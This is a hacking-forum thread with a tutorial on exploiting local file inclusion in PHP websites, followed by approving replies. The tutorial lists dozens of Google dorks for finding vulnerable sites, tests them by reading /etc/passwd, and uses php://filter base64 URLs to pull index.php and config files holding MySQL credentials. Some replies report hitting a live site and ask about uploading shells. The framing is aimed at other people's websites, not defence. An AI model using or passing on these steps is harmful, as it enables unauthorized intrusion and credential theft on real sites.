[HaxOr❤]

Things you will need:

1.) Site vulnerable to LFI (Local file inclusion)

Chapter I

- Finding vulnerable site

Few Google dorks.

Credits: -Downfall

Code

inurl:index.php?page=index.php
inurl:index.php?page=sitemap.php
inurl:index.php?page=awards.php
inurl:index.php?page=book.php
inurl:index.php?page=store.php
inurl:index.php?page=items.php
inurl:index.php?page=feedback.php
inurl:index.php?page=welcome.php
inurl:index.php?page=advertise.php
inurl:index.php?page=festival.php
inurl:index.php?page=band.php
inurl:index.php?page=musicians.php
inurl:index.php?page=artist.php
inurl:index.php?page=archive.php
inurl:index.php?page=facilities.php
inurl:index.php?page=activies.php
inurl:index.php?page=bio.php
inurl:index.php?page=biography.php
inurl:index.php?page=menu.php
inurl:index.php?page=profile.php
inurl:index.php?page=terms.php
inurl:index.php?page=tos.php
inurl:index.php?page=screenshots.php
inurl:index.php?page=plans.php
inurl:index.php?page=templates.php
inurl:index.php?page=browse.php
inurl:index.php?page=shows.php
inurl:index.php?page=dining.php
inurl:index.php?page=media.php
inurl:index.php?page=offers.php
inurl:index.php?page=photogallery.php
inurl:index.php?page=schools.php
inurl:index.php?page=rates.php
inurl:index.php?page=buy.php
inurl:index.php?page=pricing.php
inurl:index.php?page=web.php
inurl:index.php?page=cms.php
inurl:index.php?page=sponsors.php
inurl:index.php?page=login.php
inurl:index.php?page=admin.php
inurl:index.php?page=register.php
inurl:index.php?page=signin.php
inurl:index.php?page=signup.php
inurl:index.php?page=artikel.php
inurl:index.php?page=kontakt.php
inurl:index.php?page=directions.php
inurl:index.php?page=farm.php
inurl:index.php?page=resume.php
inurl:index.php?page=products.php
inurl:index.php?page=music.php
inurl:index.php?page=agenda.php
inurl:index.php?page=faculty.php
inurl:index.php?page=overview.php
inurl:index.php?page=research.php
inurl:index.php?page=publications.php
inurl:index.php?page=outreach.php
inurl:index.php?page=education.php
inurl:index.php?page=regulatoins.php

So when you find some site like this:

Code

http://site.com/index.php?page=main.php

Instead of main.php put /etc/passwd and if you get something like this :

[img]http://img820.imageshack.us/img820/723/regionme.png[/img]

Then it's vulnerable.

Chapter II

- Exploiting

This method is pretty easy to do.
We use php://filter to read files (Source) BASE-64 encrypted.
It's usefull when we want to grab MySQL information or check for any vulnerability but file must be .PHP...

With that being said lets continue to exploiting.

Lets say we have our vulnerable site:

Code

http://site.com/index.php?page=main.php

Now we want to see source of index.php
Instead of "main.php" type:

Code

php://filter/convert.base64-encode/resource=index.php

[img]http://img16.imageshack.us/img16/1621/regionxn.png[/img]

Code

http://site.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

You can change index.php with any file on the server.
Now you have your source.
Right click > View Source (CTRL+U)

[img]http://img856.imageshack.us/img856/1852/regionhw.png[/img]

Now search for your encrypted text and copy it.

[img]http://img843.imageshack.us/img843/6121/regionay.png[/img]

We need to decrypt it,right?
Since it's BASE-64 we can decrypt it with crypo.

Go here and paste your source.

http://www.crypo.com/tools/eng_base64d.php

If you got any error it doesn't matter.
When we have our source you can check for files that contains MySQL information.

[img]http://img163.imageshack.us/img163/4600/regionzj.png[/img]

Common names are config.php , connect.php , connection.php and so on.
There should be at the top of index something like this

[img]http://img42.imageshack.us/img42/6624/regionfo.png[/img]

You see that our name of configuration file is "connect.php".
Now we just need to grab it.

Code

http://site.com/index.php?page=php://filter/convert.base64-encode/resource=connect.php

[img]http://img32.imageshack.us/img32/7440/regionuyl.png[/img]

[img]http://img710.imageshack.us/img710/4793/regionbs.png[/img]

[img]http://img829.imageshack.us/img829/3469/regionka.png[/img]

That gave me exact name of config file "config.php".

Code

http://site.com/index.php?page=php://filter/convert.base64-encode/resource=config.php

[img]http://img252.imageshack.us/img252/4152/regionla.png[/img]

[img]http://img703.imageshack.us/img703/5615/regionrq.png[/img]

Decrypted:

[img]http://img825.imageshack.us/img825/3725/regioniv.png[/img]

Video Tutorial

Here is HD tutorial on it.
And watch it and HD. :P
I know,i'm not good at doing video demonstration.. 😭





You can connect it with tools,some shells have it.
That will conclude this tutorial for today.
I hope somebody find this helpfull. 🤝

[Azido]

Nice tutorial Mr. ๖ۣۜΗ α x O r 🤝

You're always making quality posts.

[Николай]

Good Job 👍 I knew this method but it is a good reminder.

[fobber]

Damn dude. You keep surprising me. First php://input and now php://filter. I'd never have thought that LFI was such a serious "problem", if it wasn't for you! :D

Edit: Just found a website that was vulnerable to this. Damn this is awesome! ^^

[HaxOr❤]

Damn dude. You keep surprising me. First php://input and now php://filter. I'd never have thought that LFI was such a serious "problem", if it wasn't for you! :D

Thanks fobber.
It really comes in handy when /proc/self/environ and log poisoning fails. ;)

[Bacardi]

And another great tutorial. You're on a roll!

[HaxOr❤]

And another great tutorial. You're on a roll!

Thanks Bacardi,i guess i'm on a roll... 🤗

[Bacardi]

Thanks Bacardi,i guess i'm on a roll... 🤗

Are you planning on making any more tutorials on LFI? If there are more methods that is. Or maybe for something else?

I really enjoy reading your tutorials 😉

[HaxOr❤]

Are you planning on making any more tutorials on LFI? If there are more methods that is. Or maybe for something else?

I really enjoy reading your tutorials 😉

There is more method like /proc/self/environ and log poisoning.
I will do one with log posioning after i find good site.

[Mewtwо]

Bookmarked this thread :)
It might come in handy since it seems to be very well explained :)
Thanks.

[BeggFoMercy]

Nice work u got there dude ;) Keep it up

[Keeper]

I fu*kin' vouch for this. Awesome tut, just what I was looking for these days. By the way hax0r you make my hacking easier --> thanks!

[HaxOr❤]

I fu*kin' vouch for this. Awesome tut, just what I was looking for these days. By the way hax0r you make my hacking easier --> thanks!

No problem mate,i'm glad i could help. 🤗

[bluebknight]

Any idea how to upload a shell that way? I am certain that it's possible because fimal uses this to get a basic PHP shell. A post with that would be greatly appreciated.

[fobber]

Any idea how to upload a shell that way? I am certain that it's possible because fimal uses this to get a basic PHP shell. A post with that would be greatly appreciated.

I guess you'd need to use php://input for that - https://hackforums.net/showthread.php?tid=2384584

HaxOr.. Is there any chance you got a list of common database names. You already listed three (config.php , connect.php , connection.php). But any chance you got a few more?(:

Edit: Damn.. I've found websites where /etc/passwd works. php://filter works, but php://input never works. Does it need to be a specific PHP version?